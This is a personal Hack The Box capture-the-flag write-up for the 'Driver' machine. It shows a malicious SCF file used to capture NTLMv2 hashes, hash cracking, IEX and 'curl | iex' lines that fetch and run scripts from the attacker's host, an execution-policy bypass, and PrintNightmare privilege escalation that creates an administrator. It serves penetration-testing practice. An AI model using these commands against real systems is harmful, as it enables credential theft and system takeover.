75 HTB Driver

[HTB] Driver

by **Pablo**

Objectives:

```
1. Password Guessing
2. SCF Malicious File
3. Print Spooler Local Privilege Escalation (PrintNightmare) [CVE-2021-1675]
```

1. **Driver should be an easy box**
2. **CME basic nullsession scan**

```
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.11.106
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False)
(SMBv1:True)
```

3. **smbclient nullsession**

```
1. ▷ smbclient -L 10.10.11.106 -N
session setup failed: NT_STATUS_ACCESS_DENIED
```

4. **smbmap nullsession**

```
1. ▷ smbmap -H 10.10.11.106 -u 'nullzsession' --no-banner
[!] Authentication error on 10.10.11.106
```

5. **RpcClient because 135 was open but we get nothing**

```
1. ▷ rpcclient -U "" 10.10.11.106 -N
Cannot connect to server.  Error was NT_STATUS_ACCESS_DENIED
```

6. ***If you can not enumerate anything and port 80 is open that is usually the best vector for usernames***

```
we get in with admin:admin
```

7. **I forgot about curling the website on 80**

```
1. Also whatweb is good to run to look for vulnerable frameworks
2. ▷ curl -s -X GET http://10.10.11.106 -I
HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
'X-Powered-By: PHP/7.3.25'
WWW-Authenticate: Basic realm="MFP Firmware Update Center. Please enter password for admin"
Date: Tue, 31 Oct 2023 13:10:38 GMT
Content-Length: 20
```

8. **Whatweb -v**

```
1. ▷ whatweb http://10.10.11.106 -v
2. Summary   : HTTPServer[Microsoft-IIS/10.0], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware
Update Center. 'Please enter password for admin][Basic]', X-Powered-By[PHP/7.3.25
3. Version      : 7.3.25
        Google Dorks: (3)
        Website     : http://www.php.net/
```

9. **After I log in to the website I see a MFP framework.**

```
1. MFP Firmware Update Center
2. searchsploit mfp
```

10. **I do a google search for *scf malicious file*. *SCF FILE is a good way to get a foothold when there is not other way*. It is an *smb protocol file* that can be used to open up windows explorer and even get a reverse shell. If we can upload this SCF file and they execute it we will have a shell on victim machine. *Since it is an SMB protocol file we can make it call to our smbserver.py*.**

```
1. Lets check out this website
2. https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
3. It is not new that SCF (Shell Command Files) files can be used to perform a limited set of operations such as
showing the Windows desktop or opening a Windows explorer. However a SCF file can be used to access a specific
```

```
UNC path which allows the penetration tester to build an attack. The code below can be placed inside a text file
which then needs to be planted into a network share.
4. Here is what the payload looks like you save it as whatever.scf
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
2. We are not going to try for a reverse shell. I do not think that is possible yet, but we can grab a hash using
Responder.
[Shell]
Command=2
IconFile=\\10.10.14.2\ninjafolder\blah.ico
[Taskbar]
Command=ToggleDesktop
```

11. **Set up your smbserver upload the malicious `file.scf` and you will get a hash no need for Responder after all.**

```
1. ▷ sudo smbserver.py ninjafolder $(pwd) -smb2support
2. We get a hash for Tony
3.
tony::DRIVER:aaaaaaaaaaaaaaaa:24d6a248822bf6678d88fccd5994d320:0101000000000000004b9b53c50bda01f145903ceebe597100
000000010010006d006200740056007200580005a00670003001006d006200740056007200580005a00670002001004c0059006d004500770
046005300700004001004c0059006d00450077004600530070000700080000 4b9b53c50bda0106000400020000000800300030000000000000
0000000000000200000673d3b9db7369f64d7362272e7bc273a150158afec0316e2868c6c7ea7028d8b0a0010000000000000000000000000000
0000000000009001e0063006900660073002f00310030002e00310030002e00310034002e00320000000000000000000000000000
```

Random Tangent (*NTLMv2 is uncrackable or is it?*)

12. **I was thinking if this is an NTLMv2 hash then it would be hard to crack. So I googled *ntlmv2 cracker*. Apparently not so hard after all. This would make a great read for later.**

```
1. https://zone13.io/post/cracking-ntlmv2-responses-captured-using-responder/
2. https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
```

13. **John the Ripper detected this hash as an NTLMv2 but still cracked it like it easily.**

```
1. ▷ john --wordlist=/home/pepe/hackthebox/blackfield/rockyou.txt hash
.............................................................
Warning: detected hash type "netntlmv2", but the string is also recognized as "ntlmv2-opencl"
2. Cracked it anyways
3. password = liltony  user = (tony)
```

Valid Credentials

14. **Lets validate the credential with CME**

```
1. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.11.106 -u 'tony' -p 'liltony'
2. SUCCESS, password is good
3.  [+] DRIVER\tony:liltony
4. Lets try winrm flag on CME. I doubt it will work but this is an easy rated box perhaps it might.
5. ▷ crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
6. [+] None\tony:liltony (.Pwn3d!)
7. PWN3D lets evil-winrm in using tony credentials
```

Got Shell

15. **Evil-WinRM with Tony**

```
1. ▷ evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
2. *Evil-WinRM* PS C:\Users\tony\Documents> whoami
driver\tony
```

- *#pwn_windows_exploit_suggester_backup_plan*
- *#pwn_windows_enumeration_get_server_version_using_registry_key*
- *#pwn_windows_SELoadDriver_Privilege_TarLogic*
- *#pwn_windows_TarLogic_SELoadDriverPrivilege_abuse*

16. **Enumerate the box using Tony credentials with Evil-WinRM**

```
1. We got the user flag
2. *Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
af91e9bcc935142060ab075ad0298dde
3. We run 'net user tony' and validate that he is infact in the "Remote Management Users" group.
4. *Evil-WinRM* PS C:\Users\tony\Desktop> net user tony
*Remote Management Use*Users
```

```
5. *Evil-WinRM* PS C:\> dir
6. *Evil-WinRM* PS C:\> whoami /all
7. There is no 'SeLoadDriverPrivilege' if not we could use the TarLogic exploit
8. https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/
9. If there was an 'SEImpersonatePrivlege' we could us one of the juicy potatoes. I like .juicypotatoNG as it is newer and I do not think it is patched yet, but there is not any of those things so we need to find something else.
10. I try to run systeminfo but gets access denied. If it worked we could use Windows-Exploit-Suggester. I have not used that pkg in a long time.
11. https://mivilisnet.wordpress.com/2020/02/04/how-to-find-the-windows-version-using-registry/
12. *Evil-WinRM* PS C:\> reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion
    ProductName    REG_SZ    Windows 10 Enterprise
13. Not really anything spectacular but at least you know your dealing with a windows 10 machine
```

- *#pwn_windows_powerup_invoke_all_checks*
- *#pwn_invoke_all_checks_powerup_windows*
- *#pwn_powerup_invoke_all_checks_windows*

PowerUp.ps1

17. **PowerUp.ps1. S4vitar says you can grep Invoke-AllChecks from this file and add it to the end to run all the checks automatically. So you can run this script using IEX from memory.**

```
1. ▷ cat PowerUp.ps1 | grep -i "invoke"
2. Paste this at the bottom of the PowerUp.ps1 file
3. Invoke-AllChecks
4. It will look like this below
5. ▷ tail -4 PowerUp.ps1
Set-Alias Get-CurrentUserTokenGroupSid Get-ProcessTokenGroup
Set-Alias Invoke-AllChecks Invoke-PrivescAudit

Invoke-AllChecks
```

18. **Now we need to upload and get it executed. I think instead of using the evil-winrm shell we have already he is going to use the IEX command to run PowerUp in memory. Not sure lets see**

```
1. I was right he is using IEX with PowerUp.ps1. Here is the verbose output.
2. *Evil-WinRM* PS C:\> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/PowerUp.ps1')
.................................................................
Access denied
At line:2066 char:21
+     $VulnServices = Get-WmiObject -Class win32_service | Where-Object ...
+                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Access denied
At line:2133 char:5
+     Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pat ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Cannot open Service Control Manager on computer '.'. This operation might require other privileges.
At line:2189 char:5
+     Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeCo ...'
+     ~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Get-Service], InvalidOperationException
    + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.GetServiceCommand


DefaultDomainName    : DRIVER
DefaultUserName      : tony
DefaultPassword      :
AltDefaultDomainName :
AltDefaultUserName   :
AltDefaultPassword   :
Check                : Registry Autologons
3. Failed, I am surprised because it usually works
```

WinPEAS.exe

19. **Lets upload winPEASx64.exe**

```
1. https://github.com/carlospolop/PEASS-ng/releases/tag/20240310-532aceca
2. I download the winPEASx64.exe
3. mv winPEASx64.exe winpeas.exe
4. *Evil-WinRM* PS C:\Windows\Temp\privesc> upload winpeas.exe
```

```
5. Execute winPEAS.exe
6. *Evil-WinRM* PS C:\Windows\Temp\privesc> .\winpeas.exe
7. SUCCESS
8. Get the latest version of winPEAS.exe "https://github.com/sponsors/carlospolop
                (((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((
      (((((((((((((**********/##########((((((((((((
    ((((((((((((**********************/#######((((((((((
    (((((((*****************/@@@@@/****######(((((((((
    ((((((**********************@@@@@@@@@@/***,####(((((((((
    (((((**********************/@@@@@%@@@@/********##(((((((((
    (((##########**********/%@@@@@@@@@@/***********(((((((
    ((##################(/******/@@@@@/***************(((((
    ((#########################(/**********************((((
    ((################################(/*****************((((
    ((####################################(/************((((
    ((########################################(*********((((
    ((#######(,.***.,(###################(..***.*******((((
    ((#######*(#####((#################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((####################/*******(################)((((((
    ((((#############################################)((((((
    (((((###########################################)(((((((
    ((((((#########################################)(((((((
    (((((((#################################)(((((((
    (((((((((#############################)(((((((((
        (((((((((#########################)(((((((((
            (((((((((((((((((((((((((((((((((((
                  (((((((((((((((((((((((((((((((
                     ((((((((((((((((((((((((((("
```

Print Nightmare

20. **Since we saw some print stuff on the site I start googling for print nightmare.**

```
1. Google search 'spoolsv exploit github'
2. https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
3. I wants a powershell or python version of this exploit
4. https://github.com/calebstewart/CVE-2021-1675
```

21. **Lets upload via port 80 and execute print nightmare using IEX**

```
1.  ▷ sudo python3 -m http.server 80
2. IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/CVE-2021-1675.ps1')
3. I got a bunch of errors I do not think it worked for me
4. Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
5. The term 'Invoke-Nightmare' is not recognized as the name of a cmdlet
6. We need to upload via evil-winrm since AV is not blocking us. We do not even need to use IEX. Upload  print
nightmare (CVE-2021-1675.ps1) and import the module.
7. Import-Module .\CVE-2021-1675.ps1
8. powershell -ep bypass C:\Windows\Temp\privesc\CVE-2021-1675.ps1
9. curl 10.10.14.2/CVE-2021-1675.ps1 -UseBasicParsing | iex
10. Get-Command Invoke-Nightmare
11. https://pencer.io/ctf/ctf-htb-driver/
12. https://0xdf.gitlab.io/2022/02/26/htb-driver.html
13. https://www.secjuice.com/technical-htb-driver-walkthrough/
```

22. **Ok I have run into a technical issue I had to get fixed. I am back**

- *#pwn_PowerShell_bypass_execution_policy_correct_method*
- *#pwn_PowerShell_Import_Modules*
- *#pwn_Import_Module_PowerShell*
- *#pwn_bypass_powershell_execution_policy_correct_syntax*

23. **Ok I found from `pencer.io` the command to do bypass execution policy that actually works.**

```
1. git clone https://github.com/calebstewart/CVE-2021-1675.git
2. *Evil-WinRM* PS C:\Users\tony\Documents> upload /root/htb/driver/CVE-2021-1675.ps1
3. *Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy Unrestricted -Scope CurrentUser
4. *Evil-WinRM* PS C:\Users\tony\Documents> Import-Module ./CVE-2021-1675.ps1
5. *Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser "haxor" -NewPassword "haxor123"
6. evil-winrm -i 10.10.11.106 -u haxor -p haxor123
7. *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
55118590313817e1bb456691fa37769b

8. Taken from pencer.io walk through for HTB Driver
9. https://pencer.io/ctf/ctf-htb-driver/
```

Driver has been Pwned!

Congratulations **quadamage**, best of luck in capturing flags ahead!

#10010	31 Oct 2023	RETIRED
MACHINE RANK	PWN DATE	MACHINE STATE

OK SHARE

Pwned!!!